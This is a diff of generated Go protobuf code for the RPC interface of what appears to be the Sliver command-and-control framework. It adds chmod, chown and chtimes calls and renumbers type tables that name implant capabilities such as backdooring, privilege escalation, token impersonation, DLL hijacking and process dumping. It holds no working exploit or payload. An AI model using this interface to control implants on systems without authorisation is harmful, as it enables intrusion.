||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.12
|
||||
// source: commonpb/common.proto
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.12
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
|
||||
+358
-337
@@ -1,6 +1,6 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.12
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
|
||||
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
|
||||
0x74, 0x6f, 0x32, 0x8a, 0x3e, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
|
||||
0x74, 0x6f, 0x32, 0x9a, 0x3f, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
|
||||
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
|
||||
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
|
||||
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
|
||||
@@ -288,7 +288,16 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x55, 0x70, 0x6c,
|
||||
0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55,
|
||||
0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68,
|
||||
0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43,
|
||||
0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6f, 0x77,
|
||||
0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f,
|
||||
0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x32, 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65,
|
||||
0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74,
|
||||
0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72,
|
||||
0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76,
|
||||
0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70,
|
||||
0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50,
|
||||
@@ -578,145 +587,151 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
(*sliverpb.MkdirReq)(nil), // 40: sliverpb.MkdirReq
|
||||
(*sliverpb.DownloadReq)(nil), // 41: sliverpb.DownloadReq
|
||||
(*sliverpb.UploadReq)(nil), // 42: sliverpb.UploadReq
|
||||
(*sliverpb.ProcessDumpReq)(nil), // 43: sliverpb.ProcessDumpReq
|
||||
(*sliverpb.RunAsReq)(nil), // 44: sliverpb.RunAsReq
|
||||
(*sliverpb.ImpersonateReq)(nil), // 45: sliverpb.ImpersonateReq
|
||||
(*sliverpb.RevToSelfReq)(nil), // 46: sliverpb.RevToSelfReq
|
||||
(*clientpb.GetSystemReq)(nil), // 47: clientpb.GetSystemReq
|
||||
(*sliverpb.TaskReq)(nil), // 48: sliverpb.TaskReq
|
||||
(*clientpb.MSFReq)(nil), // 49: clientpb.MSFReq
|
||||
(*clientpb.MSFRemoteReq)(nil), // 50: clientpb.MSFRemoteReq
|
||||
(*sliverpb.ExecuteAssemblyReq)(nil), // 51: sliverpb.ExecuteAssemblyReq
|
||||
(*clientpb.MigrateReq)(nil), // 52: clientpb.MigrateReq
|
||||
(*sliverpb.ExecuteReq)(nil), // 53: sliverpb.ExecuteReq
|
||||
(*sliverpb.ExecuteWindowsReq)(nil), // 54: sliverpb.ExecuteWindowsReq
|
||||
(*sliverpb.SideloadReq)(nil), // 55: sliverpb.SideloadReq
|
||||
(*sliverpb.InvokeSpawnDllReq)(nil), // 56: sliverpb.InvokeSpawnDllReq
|
||||
(*sliverpb.ScreenshotReq)(nil), // 57: sliverpb.ScreenshotReq
|
||||
(*sliverpb.CurrentTokenOwnerReq)(nil), // 58: sliverpb.CurrentTokenOwnerReq
|
||||
(*sliverpb.PivotStartListenerReq)(nil), // 59: sliverpb.PivotStartListenerReq
|
||||
(*sliverpb.PivotStopListenerReq)(nil), // 60: sliverpb.PivotStopListenerReq
|
||||
(*sliverpb.PivotListenersReq)(nil), // 61: sliverpb.PivotListenersReq
|
||||
(*sliverpb.StartServiceReq)(nil), // 62: sliverpb.StartServiceReq
|
||||
(*sliverpb.StopServiceReq)(nil), // 63: sliverpb.StopServiceReq
|
||||
(*sliverpb.RemoveServiceReq)(nil), // 64: sliverpb.RemoveServiceReq
|
||||
(*sliverpb.MakeTokenReq)(nil), // 65: sliverpb.MakeTokenReq
|
||||
(*sliverpb.EnvReq)(nil), // 66: sliverpb.EnvReq
|
||||
(*sliverpb.SetEnvReq)(nil), // 67: sliverpb.SetEnvReq
|
||||
(*sliverpb.UnsetEnvReq)(nil), // 68: sliverpb.UnsetEnvReq
|
||||
(*sliverpb.BackdoorReq)(nil), // 69: sliverpb.BackdoorReq
|
||||
(*sliverpb.RegistryReadReq)(nil), // 70: sliverpb.RegistryReadReq
|
||||
(*sliverpb.RegistryWriteReq)(nil), // 71: sliverpb.RegistryWriteReq
|
||||
(*sliverpb.RegistryCreateKeyReq)(nil), // 72: sliverpb.RegistryCreateKeyReq
|
||||
(*sliverpb.RegistryDeleteKeyReq)(nil), // 73: sliverpb.RegistryDeleteKeyReq
|
||||
(*sliverpb.RegistrySubKeyListReq)(nil), // 74: sliverpb.RegistrySubKeyListReq
|
||||
(*sliverpb.RegistryListValuesReq)(nil), // 75: sliverpb.RegistryListValuesReq
|
||||
(*sliverpb.SSHCommandReq)(nil), // 76: sliverpb.SSHCommandReq
|
||||
(*clientpb.DllHijackReq)(nil), // 77: clientpb.DllHijackReq
|
||||
(*sliverpb.GetPrivsReq)(nil), // 78: sliverpb.GetPrivsReq
|
||||
(*sliverpb.RportFwdStartListenerReq)(nil), // 79: sliverpb.RportFwdStartListenerReq
|
||||
(*sliverpb.RportFwdListenersReq)(nil), // 80: sliverpb.RportFwdListenersReq
|
||||
(*sliverpb.RportFwdStopListenerReq)(nil), // 81: sliverpb.RportFwdStopListenerReq
|
||||
(*sliverpb.OpenSession)(nil), // 82: sliverpb.OpenSession
|
||||
(*sliverpb.CloseSession)(nil), // 83: sliverpb.CloseSession
|
||||
(*sliverpb.RegisterExtensionReq)(nil), // 84: sliverpb.RegisterExtensionReq
|
||||
(*sliverpb.CallExtensionReq)(nil), // 85: sliverpb.CallExtensionReq
|
||||
(*sliverpb.ListExtensionsReq)(nil), // 86: sliverpb.ListExtensionsReq
|
||||
(*sliverpb.WGPortForwardStartReq)(nil), // 87: sliverpb.WGPortForwardStartReq
|
||||
(*sliverpb.WGPortForwardStopReq)(nil), // 88: sliverpb.WGPortForwardStopReq
|
||||
(*sliverpb.WGSocksStartReq)(nil), // 89: sliverpb.WGSocksStartReq
|
||||
(*sliverpb.WGSocksStopReq)(nil), // 90: sliverpb.WGSocksStopReq
|
||||
(*sliverpb.WGTCPForwardersReq)(nil), // 91: sliverpb.WGTCPForwardersReq
|
||||
(*sliverpb.WGSocksServersReq)(nil), // 92: sliverpb.WGSocksServersReq
|
||||
(*sliverpb.ShellReq)(nil), // 93: sliverpb.ShellReq
|
||||
(*sliverpb.PortfwdReq)(nil), // 94: sliverpb.PortfwdReq
|
||||
(*sliverpb.Socks)(nil), // 95: sliverpb.Socks
|
||||
(*sliverpb.SocksData)(nil), // 96: sliverpb.SocksData
|
||||
(*sliverpb.Tunnel)(nil), // 97: sliverpb.Tunnel
|
||||
(*sliverpb.TunnelData)(nil), // 98: sliverpb.TunnelData
|
||||
(*clientpb.Version)(nil), // 99: clientpb.Version
|
||||
(*clientpb.Operators)(nil), // 100: clientpb.Operators
|
||||
(*sliverpb.Reconfigure)(nil), // 101: sliverpb.Reconfigure
|
||||
(*clientpb.Sessions)(nil), // 102: clientpb.Sessions
|
||||
(*clientpb.Beacons)(nil), // 103: clientpb.Beacons
|
||||
(*clientpb.BeaconTasks)(nil), // 104: clientpb.BeaconTasks
|
||||
(*commonpb.Response)(nil), // 105: commonpb.Response
|
||||
(*clientpb.Jobs)(nil), // 106: clientpb.Jobs
|
||||
(*clientpb.KillJob)(nil), // 107: clientpb.KillJob
|
||||
(*clientpb.MTLSListener)(nil), // 108: clientpb.MTLSListener
|
||||
(*clientpb.WGListener)(nil), // 109: clientpb.WGListener
|
||||
(*clientpb.DNSListener)(nil), // 110: clientpb.DNSListener
|
||||
(*clientpb.HTTPListener)(nil), // 111: clientpb.HTTPListener
|
||||
(*clientpb.StagerListener)(nil), // 112: clientpb.StagerListener
|
||||
(*clientpb.AllLoot)(nil), // 113: clientpb.AllLoot
|
||||
(*clientpb.AllHosts)(nil), // 114: clientpb.AllHosts
|
||||
(*clientpb.Generate)(nil), // 115: clientpb.Generate
|
||||
(*clientpb.ExternalImplantConfig)(nil), // 116: clientpb.ExternalImplantConfig
|
||||
(*clientpb.Builders)(nil), // 117: clientpb.Builders
|
||||
(*clientpb.ImplantBuilds)(nil), // 118: clientpb.ImplantBuilds
|
||||
(*clientpb.Canaries)(nil), // 119: clientpb.Canaries
|
||||
(*clientpb.WGClientConfig)(nil), // 120: clientpb.WGClientConfig
|
||||
(*clientpb.UniqueWGIP)(nil), // 121: clientpb.UniqueWGIP
|
||||
(*clientpb.ImplantProfiles)(nil), // 122: clientpb.ImplantProfiles
|
||||
(*clientpb.MsfStager)(nil), // 123: clientpb.MsfStager
|
||||
(*clientpb.ShellcodeRDI)(nil), // 124: clientpb.ShellcodeRDI
|
||||
(*clientpb.Compiler)(nil), // 125: clientpb.Compiler
|
||||
(*clientpb.ShellcodeEncode)(nil), // 126: clientpb.ShellcodeEncode
|
||||
(*clientpb.ShellcodeEncoderMap)(nil), // 127: clientpb.ShellcodeEncoderMap
|
||||
(*clientpb.Websites)(nil), // 128: clientpb.Websites
|
||||
(*sliverpb.Ps)(nil), // 129: sliverpb.Ps
|
||||
(*sliverpb.Terminate)(nil), // 130: sliverpb.Terminate
|
||||
(*sliverpb.Ifconfig)(nil), // 131: sliverpb.Ifconfig
|
||||
(*sliverpb.Netstat)(nil), // 132: sliverpb.Netstat
|
||||
(*sliverpb.Ls)(nil), // 133: sliverpb.Ls
|
||||
(*sliverpb.Pwd)(nil), // 134: sliverpb.Pwd
|
||||
(*sliverpb.Mv)(nil), // 135: sliverpb.Mv
|
||||
(*sliverpb.Rm)(nil), // 136: sliverpb.Rm
|
||||
(*sliverpb.Mkdir)(nil), // 137: sliverpb.Mkdir
|
||||
(*sliverpb.Download)(nil), // 138: sliverpb.Download
|
||||
(*sliverpb.Upload)(nil), // 139: sliverpb.Upload
|
||||
(*sliverpb.ProcessDump)(nil), // 140: sliverpb.ProcessDump
|
||||
(*sliverpb.RunAs)(nil), // 141: sliverpb.RunAs
|
||||
(*sliverpb.Impersonate)(nil), // 142: sliverpb.Impersonate
|
||||
(*sliverpb.RevToSelf)(nil), // 143: sliverpb.RevToSelf
|
||||
(*sliverpb.GetSystem)(nil), // 144: sliverpb.GetSystem
|
||||
(*sliverpb.Task)(nil), // 145: sliverpb.Task
|
||||
(*sliverpb.ExecuteAssembly)(nil), // 146: sliverpb.ExecuteAssembly
|
||||
(*sliverpb.Migrate)(nil), // 147: sliverpb.Migrate
|
||||
(*sliverpb.Execute)(nil), // 148: sliverpb.Execute
|
||||
(*sliverpb.Sideload)(nil), // 149: sliverpb.Sideload
|
||||
(*sliverpb.SpawnDll)(nil), // 150: sliverpb.SpawnDll
|
||||
(*sliverpb.Screenshot)(nil), // 151: sliverpb.Screenshot
|
||||
(*sliverpb.CurrentTokenOwner)(nil), // 152: sliverpb.CurrentTokenOwner
|
||||
(*sliverpb.PivotListener)(nil), // 153: sliverpb.PivotListener
|
||||
(*sliverpb.PivotListeners)(nil), // 154: sliverpb.PivotListeners
|
||||
(*clientpb.PivotGraph)(nil), // 155: clientpb.PivotGraph
|
||||
(*sliverpb.ServiceInfo)(nil), // 156: sliverpb.ServiceInfo
|
||||
(*sliverpb.MakeToken)(nil), // 157: sliverpb.MakeToken
|
||||
(*sliverpb.EnvInfo)(nil), // 158: sliverpb.EnvInfo
|
||||
(*sliverpb.SetEnv)(nil), // 159: sliverpb.SetEnv
|
||||
(*sliverpb.UnsetEnv)(nil), // 160: sliverpb.UnsetEnv
|
||||
(*sliverpb.Backdoor)(nil), // 161: sliverpb.Backdoor
|
||||
(*sliverpb.RegistryRead)(nil), // 162: sliverpb.RegistryRead
|
||||
(*sliverpb.RegistryWrite)(nil), // 163: sliverpb.RegistryWrite
|
||||
(*sliverpb.RegistryCreateKey)(nil), // 164: sliverpb.RegistryCreateKey
|
||||
(*sliverpb.RegistryDeleteKey)(nil), // 165: sliverpb.RegistryDeleteKey
|
||||
(*sliverpb.RegistrySubKeyList)(nil), // 166: sliverpb.RegistrySubKeyList
|
||||
(*sliverpb.RegistryValuesList)(nil), // 167: sliverpb.RegistryValuesList
|
||||
(*sliverpb.SSHCommand)(nil), // 168: sliverpb.SSHCommand
|
||||
(*clientpb.DllHijack)(nil), // 169: clientpb.DllHijack
|
||||
(*sliverpb.GetPrivs)(nil), // 170: sliverpb.GetPrivs
|
||||
(*sliverpb.RportFwdListener)(nil), // 171: sliverpb.RportFwdListener
|
||||
(*sliverpb.RportFwdListeners)(nil), // 172: sliverpb.RportFwdListeners
|
||||
(*sliverpb.RegisterExtension)(nil), // 173: sliverpb.RegisterExtension
|
||||
(*sliverpb.CallExtension)(nil), // 174: sliverpb.CallExtension
|
||||
(*sliverpb.ListExtensions)(nil), // 175: sliverpb.ListExtensions
|
||||
(*sliverpb.WGPortForward)(nil), // 176: sliverpb.WGPortForward
|
||||
(*sliverpb.WGSocks)(nil), // 177: sliverpb.WGSocks
|
||||
(*sliverpb.WGTCPForwarders)(nil), // 178: sliverpb.WGTCPForwarders
|
||||
(*sliverpb.WGSocksServers)(nil), // 179: sliverpb.WGSocksServers
|
||||
(*sliverpb.Shell)(nil), // 180: sliverpb.Shell
|
||||
(*sliverpb.Portfwd)(nil), // 181: sliverpb.Portfwd
|
||||
(*sliverpb.ChmodReq)(nil), // 43: sliverpb.ChmodReq
|
||||
(*sliverpb.ChownReq)(nil), // 44: sliverpb.ChownReq
|
||||
(*sliverpb.ChtimesReq)(nil), // 45: sliverpb.ChtimesReq
|
||||
(*sliverpb.ProcessDumpReq)(nil), // 46: sliverpb.ProcessDumpReq
|
||||
(*sliverpb.RunAsReq)(nil), // 47: sliverpb.RunAsReq
|
||||
(*sliverpb.ImpersonateReq)(nil), // 48: sliverpb.ImpersonateReq
|
||||
(*sliverpb.RevToSelfReq)(nil), // 49: sliverpb.RevToSelfReq
|
||||
(*clientpb.GetSystemReq)(nil), // 50: clientpb.GetSystemReq
|
||||
(*sliverpb.TaskReq)(nil), // 51: sliverpb.TaskReq
|
||||
(*clientpb.MSFReq)(nil), // 52: clientpb.MSFReq
|
||||
(*clientpb.MSFRemoteReq)(nil), // 53: clientpb.MSFRemoteReq
|
||||
(*sliverpb.ExecuteAssemblyReq)(nil), // 54: sliverpb.ExecuteAssemblyReq
|
||||
(*clientpb.MigrateReq)(nil), // 55: clientpb.MigrateReq
|
||||
(*sliverpb.ExecuteReq)(nil), // 56: sliverpb.ExecuteReq
|
||||
(*sliverpb.ExecuteWindowsReq)(nil), // 57: sliverpb.ExecuteWindowsReq
|
||||
(*sliverpb.SideloadReq)(nil), // 58: sliverpb.SideloadReq
|
||||
(*sliverpb.InvokeSpawnDllReq)(nil), // 59: sliverpb.InvokeSpawnDllReq
|
||||
(*sliverpb.ScreenshotReq)(nil), // 60: sliverpb.ScreenshotReq
|
||||
(*sliverpb.CurrentTokenOwnerReq)(nil), // 61: sliverpb.CurrentTokenOwnerReq
|
||||
(*sliverpb.PivotStartListenerReq)(nil), // 62: sliverpb.PivotStartListenerReq
|
||||
(*sliverpb.PivotStopListenerReq)(nil), // 63: sliverpb.PivotStopListenerReq
|
||||
(*sliverpb.PivotListenersReq)(nil), // 64: sliverpb.PivotListenersReq
|
||||
(*sliverpb.StartServiceReq)(nil), // 65: sliverpb.StartServiceReq
|
||||
(*sliverpb.StopServiceReq)(nil), // 66: sliverpb.StopServiceReq
|
||||
(*sliverpb.RemoveServiceReq)(nil), // 67: sliverpb.RemoveServiceReq
|
||||
(*sliverpb.MakeTokenReq)(nil), // 68: sliverpb.MakeTokenReq
|
||||
(*sliverpb.EnvReq)(nil), // 69: sliverpb.EnvReq
|
||||
(*sliverpb.SetEnvReq)(nil), // 70: sliverpb.SetEnvReq
|
||||
(*sliverpb.UnsetEnvReq)(nil), // 71: sliverpb.UnsetEnvReq
|
||||
(*sliverpb.BackdoorReq)(nil), // 72: sliverpb.BackdoorReq
|
||||
(*sliverpb.RegistryReadReq)(nil), // 73: sliverpb.RegistryReadReq
|
||||
(*sliverpb.RegistryWriteReq)(nil), // 74: sliverpb.RegistryWriteReq
|
||||
(*sliverpb.RegistryCreateKeyReq)(nil), // 75: sliverpb.RegistryCreateKeyReq
|
||||
(*sliverpb.RegistryDeleteKeyReq)(nil), // 76: sliverpb.RegistryDeleteKeyReq
|
||||
(*sliverpb.RegistrySubKeyListReq)(nil), // 77: sliverpb.RegistrySubKeyListReq
|
||||
(*sliverpb.RegistryListValuesReq)(nil), // 78: sliverpb.RegistryListValuesReq
|
||||
(*sliverpb.SSHCommandReq)(nil), // 79: sliverpb.SSHCommandReq
|
||||
(*clientpb.DllHijackReq)(nil), // 80: clientpb.DllHijackReq
|
||||
(*sliverpb.GetPrivsReq)(nil), // 81: sliverpb.GetPrivsReq
|
||||
(*sliverpb.RportFwdStartListenerReq)(nil), // 82: sliverpb.RportFwdStartListenerReq
|
||||
(*sliverpb.RportFwdListenersReq)(nil), // 83: sliverpb.RportFwdListenersReq
|
||||
(*sliverpb.RportFwdStopListenerReq)(nil), // 84: sliverpb.RportFwdStopListenerReq
|
||||
(*sliverpb.OpenSession)(nil), // 85: sliverpb.OpenSession
|
||||
(*sliverpb.CloseSession)(nil), // 86: sliverpb.CloseSession
|
||||
(*sliverpb.RegisterExtensionReq)(nil), // 87: sliverpb.RegisterExtensionReq
|
||||
(*sliverpb.CallExtensionReq)(nil), // 88: sliverpb.CallExtensionReq
|
||||
(*sliverpb.ListExtensionsReq)(nil), // 89: sliverpb.ListExtensionsReq
|
||||
(*sliverpb.WGPortForwardStartReq)(nil), // 90: sliverpb.WGPortForwardStartReq
|
||||
(*sliverpb.WGPortForwardStopReq)(nil), // 91: sliverpb.WGPortForwardStopReq
|
||||
(*sliverpb.WGSocksStartReq)(nil), // 92: sliverpb.WGSocksStartReq
|
||||
(*sliverpb.WGSocksStopReq)(nil), // 93: sliverpb.WGSocksStopReq
|
||||
(*sliverpb.WGTCPForwardersReq)(nil), // 94: sliverpb.WGTCPForwardersReq
|
||||
(*sliverpb.WGSocksServersReq)(nil), // 95: sliverpb.WGSocksServersReq
|
||||
(*sliverpb.ShellReq)(nil), // 96: sliverpb.ShellReq
|
||||
(*sliverpb.PortfwdReq)(nil), // 97: sliverpb.PortfwdReq
|
||||
(*sliverpb.Socks)(nil), // 98: sliverpb.Socks
|
||||
(*sliverpb.SocksData)(nil), // 99: sliverpb.SocksData
|
||||
(*sliverpb.Tunnel)(nil), // 100: sliverpb.Tunnel
|
||||
(*sliverpb.TunnelData)(nil), // 101: sliverpb.TunnelData
|
||||
(*clientpb.Version)(nil), // 102: clientpb.Version
|
||||
(*clientpb.Operators)(nil), // 103: clientpb.Operators
|
||||
(*sliverpb.Reconfigure)(nil), // 104: sliverpb.Reconfigure
|
||||
(*clientpb.Sessions)(nil), // 105: clientpb.Sessions
|
||||
(*clientpb.Beacons)(nil), // 106: clientpb.Beacons
|
||||
(*clientpb.BeaconTasks)(nil), // 107: clientpb.BeaconTasks
|
||||
(*commonpb.Response)(nil), // 108: commonpb.Response
|
||||
(*clientpb.Jobs)(nil), // 109: clientpb.Jobs
|
||||
(*clientpb.KillJob)(nil), // 110: clientpb.KillJob
|
||||
(*clientpb.MTLSListener)(nil), // 111: clientpb.MTLSListener
|
||||
(*clientpb.WGListener)(nil), // 112: clientpb.WGListener
|
||||
(*clientpb.DNSListener)(nil), // 113: clientpb.DNSListener
|
||||
(*clientpb.HTTPListener)(nil), // 114: clientpb.HTTPListener
|
||||
(*clientpb.StagerListener)(nil), // 115: clientpb.StagerListener
|
||||
(*clientpb.AllLoot)(nil), // 116: clientpb.AllLoot
|
||||
(*clientpb.AllHosts)(nil), // 117: clientpb.AllHosts
|
||||
(*clientpb.Generate)(nil), // 118: clientpb.Generate
|
||||
(*clientpb.ExternalImplantConfig)(nil), // 119: clientpb.ExternalImplantConfig
|
||||
(*clientpb.Builders)(nil), // 120: clientpb.Builders
|
||||
(*clientpb.ImplantBuilds)(nil), // 121: clientpb.ImplantBuilds
|
||||
(*clientpb.Canaries)(nil), // 122: clientpb.Canaries
|
||||
(*clientpb.WGClientConfig)(nil), // 123: clientpb.WGClientConfig
|
||||
(*clientpb.UniqueWGIP)(nil), // 124: clientpb.UniqueWGIP
|
||||
(*clientpb.ImplantProfiles)(nil), // 125: clientpb.ImplantProfiles
|
||||
(*clientpb.MsfStager)(nil), // 126: clientpb.MsfStager
|
||||
(*clientpb.ShellcodeRDI)(nil), // 127: clientpb.ShellcodeRDI
|
||||
(*clientpb.Compiler)(nil), // 128: clientpb.Compiler
|
||||
(*clientpb.ShellcodeEncode)(nil), // 129: clientpb.ShellcodeEncode
|
||||
(*clientpb.ShellcodeEncoderMap)(nil), // 130: clientpb.ShellcodeEncoderMap
|
||||
(*clientpb.Websites)(nil), // 131: clientpb.Websites
|
||||
(*sliverpb.Ps)(nil), // 132: sliverpb.Ps
|
||||
(*sliverpb.Terminate)(nil), // 133: sliverpb.Terminate
|
||||
(*sliverpb.Ifconfig)(nil), // 134: sliverpb.Ifconfig
|
||||
(*sliverpb.Netstat)(nil), // 135: sliverpb.Netstat
|
||||
(*sliverpb.Ls)(nil), // 136: sliverpb.Ls
|
||||
(*sliverpb.Pwd)(nil), // 137: sliverpb.Pwd
|
||||
(*sliverpb.Mv)(nil), // 138: sliverpb.Mv
|
||||
(*sliverpb.Rm)(nil), // 139: sliverpb.Rm
|
||||
(*sliverpb.Mkdir)(nil), // 140: sliverpb.Mkdir
|
||||
(*sliverpb.Download)(nil), // 141: sliverpb.Download
|
||||
(*sliverpb.Upload)(nil), // 142: sliverpb.Upload
|
||||
(*sliverpb.Chmod)(nil), // 143: sliverpb.Chmod
|
||||
(*sliverpb.Chown)(nil), // 144: sliverpb.Chown
|
||||
(*sliverpb.Chtimes)(nil), // 145: sliverpb.Chtimes
|
||||
(*sliverpb.ProcessDump)(nil), // 146: sliverpb.ProcessDump
|
||||
(*sliverpb.RunAs)(nil), // 147: sliverpb.RunAs
|
||||
(*sliverpb.Impersonate)(nil), // 148: sliverpb.Impersonate
|
||||
(*sliverpb.RevToSelf)(nil), // 149: sliverpb.RevToSelf
|
||||
(*sliverpb.GetSystem)(nil), // 150: sliverpb.GetSystem
|
||||
(*sliverpb.Task)(nil), // 151: sliverpb.Task
|
||||
(*sliverpb.ExecuteAssembly)(nil), // 152: sliverpb.ExecuteAssembly
|
||||
(*sliverpb.Migrate)(nil), // 153: sliverpb.Migrate
|
||||
(*sliverpb.Execute)(nil), // 154: sliverpb.Execute
|
||||
(*sliverpb.Sideload)(nil), // 155: sliverpb.Sideload
|
||||
(*sliverpb.SpawnDll)(nil), // 156: sliverpb.SpawnDll
|
||||
(*sliverpb.Screenshot)(nil), // 157: sliverpb.Screenshot
|
||||
(*sliverpb.CurrentTokenOwner)(nil), // 158: sliverpb.CurrentTokenOwner
|
||||
(*sliverpb.PivotListener)(nil), // 159: sliverpb.PivotListener
|
||||
(*sliverpb.PivotListeners)(nil), // 160: sliverpb.PivotListeners
|
||||
(*clientpb.PivotGraph)(nil), // 161: clientpb.PivotGraph
|
||||
(*sliverpb.ServiceInfo)(nil), // 162: sliverpb.ServiceInfo
|
||||
(*sliverpb.MakeToken)(nil), // 163: sliverpb.MakeToken
|
||||
(*sliverpb.EnvInfo)(nil), // 164: sliverpb.EnvInfo
|
||||
(*sliverpb.SetEnv)(nil), // 165: sliverpb.SetEnv
|
||||
(*sliverpb.UnsetEnv)(nil), // 166: sliverpb.UnsetEnv
|
||||
(*sliverpb.Backdoor)(nil), // 167: sliverpb.Backdoor
|
||||
(*sliverpb.RegistryRead)(nil), // 168: sliverpb.RegistryRead
|
||||
(*sliverpb.RegistryWrite)(nil), // 169: sliverpb.RegistryWrite
|
||||
(*sliverpb.RegistryCreateKey)(nil), // 170: sliverpb.RegistryCreateKey
|
||||
(*sliverpb.RegistryDeleteKey)(nil), // 171: sliverpb.RegistryDeleteKey
|
||||
(*sliverpb.RegistrySubKeyList)(nil), // 172: sliverpb.RegistrySubKeyList
|
||||
(*sliverpb.RegistryValuesList)(nil), // 173: sliverpb.RegistryValuesList
|
||||
(*sliverpb.SSHCommand)(nil), // 174: sliverpb.SSHCommand
|
||||
(*clientpb.DllHijack)(nil), // 175: clientpb.DllHijack
|
||||
(*sliverpb.GetPrivs)(nil), // 176: sliverpb.GetPrivs
|
||||
(*sliverpb.RportFwdListener)(nil), // 177: sliverpb.RportFwdListener
|
||||
(*sliverpb.RportFwdListeners)(nil), // 178: sliverpb.RportFwdListeners
|
||||
(*sliverpb.RegisterExtension)(nil), // 179: sliverpb.RegisterExtension
|
||||
(*sliverpb.CallExtension)(nil), // 180: sliverpb.CallExtension
|
||||
(*sliverpb.ListExtensions)(nil), // 181: sliverpb.ListExtensions
|
||||
(*sliverpb.WGPortForward)(nil), // 182: sliverpb.WGPortForward
|
||||
(*sliverpb.WGSocks)(nil), // 183: sliverpb.WGSocks
|
||||
(*sliverpb.WGTCPForwarders)(nil), // 184: sliverpb.WGTCPForwarders
|
||||
(*sliverpb.WGSocksServers)(nil), // 185: sliverpb.WGSocksServers
|
||||
(*sliverpb.Shell)(nil), // 186: sliverpb.Shell
|
||||
(*sliverpb.Portfwd)(nil), // 187: sliverpb.Portfwd
|
||||
}
|
||||
var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
|
||||
@@ -792,201 +807,207 @@ var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
40, // 70: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq
|
||||
